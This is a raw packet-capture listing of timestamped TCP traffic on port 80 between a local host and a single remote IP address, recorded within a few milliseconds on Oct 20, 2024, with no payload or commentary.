Oct 20, 2024 08:40:17.556133032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.556134939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.556147099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.556164980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.556178093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.557881117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.557898045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.557913065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.557938099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.557944059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.557959080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.557970047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.557976007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.557986975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.557991028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558005095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558016062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.558038950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.558078051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558093071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558106899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558120966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558132887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.558135986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558141947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.558159113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558168888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.558176041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558190107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558203936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558204889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.558218956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558229923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.558234930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558249950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558254004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.558265924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558279037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.558300972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558305025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.558316946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558341026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.558363914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.558367968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558382988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558398008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558408976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.558412075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558420897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.558428049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558439016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.558450937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.558485985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.558507919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558522940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558537006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558552027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558558941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.558567047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558582067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558583975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.558598042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558614016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558617115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.558629990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558636904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.558643103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558659077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.558682919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.558840036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558861971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558878899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558903933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.558903933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.558908939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558917999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.558933020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558948040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558949947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.558963060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558978081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558985949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.558991909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.559000015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.559005976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.559015989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.559030056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.559037924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.559046030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.559060097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.559061050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.559077024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.559089899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.559114933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.559216976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.559232950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.559250116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.559258938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.559284925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.559294939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.559299946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.559314966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.559329987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.559336901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.559346914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.559350014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.559369087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.559393883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.559415102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.559429884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.559443951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.559456110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.559468031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.559485912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.559494972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.559500933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.559515953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.559530020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.559530020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.559542894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.559545040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.559561968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.559570074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.559591055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.559596062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.559618950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.559632063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.559634924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.559658051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.559669018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.559712887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.559727907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.559742928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.559760094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.559767008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.559784889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.559787989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.559798002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.559817076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.559828043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.559845924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.559869051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.559906960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.559931040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.559969902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560067892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560090065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560105085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560118914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560127974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560134888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560153961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560158014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560164928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560173035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560187101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560189962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560203075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560219049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560234070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560242891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560249090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560264111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560273886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560286999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560295105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560302019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560307026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560326099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560328007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560340881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560343981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560355902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560363054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560372114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560376883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560388088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560395956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560403109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560408115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560419083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560424089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560441017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560445070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560452938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560461044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560476065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560498953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560499907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560513973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560523987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560530901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560544968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560548067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560559988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560570002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560574055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560589075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560595989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560602903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560617924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560626030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560641050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560642958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560657024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560666084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560672045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560687065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560692072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560700893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560704947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560715914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560730934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560730934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560760975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560779095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560803890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560817957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560832024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560846090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560854912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560862064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560880899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560883999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560899973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560906887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560914993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560926914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560930014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560951948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560954094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560971022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.560978889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.560985088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561001062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561001062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561014891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561029911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561033010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561043024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561060905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561074972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561084032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561099052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561100006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561122894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561126947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561134100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561140060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561163902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561176062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561180115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561204910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561206102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561219931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561233044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561234951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561247110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561250925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561266899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561266899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561283112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561284065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561290979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561299086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561310053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561314106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561327934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561336040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561343908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561357021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561361074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561382055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561383009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561400890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561407089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561422110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561430931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561436892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561449051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561450958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561460972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561465979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561480045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561480999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561496973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561506033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561511040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561527014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561530113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561547995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561556101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561556101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561572075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561574936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561588049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561595917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561604977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561611891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561619997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561630011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561636925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561640024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561651945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561661005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561667919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561674118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561681986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561703920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561706066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561719894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561723948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561734915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561743021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561759949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561759949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561774015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561774015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561789989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561811924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561821938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561821938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561827898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561830044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561844110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561851978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561860085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561861038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561881065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561883926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561892986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561899900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561913967 CEST	80	49704	185.215.113.37	192.168.2.5
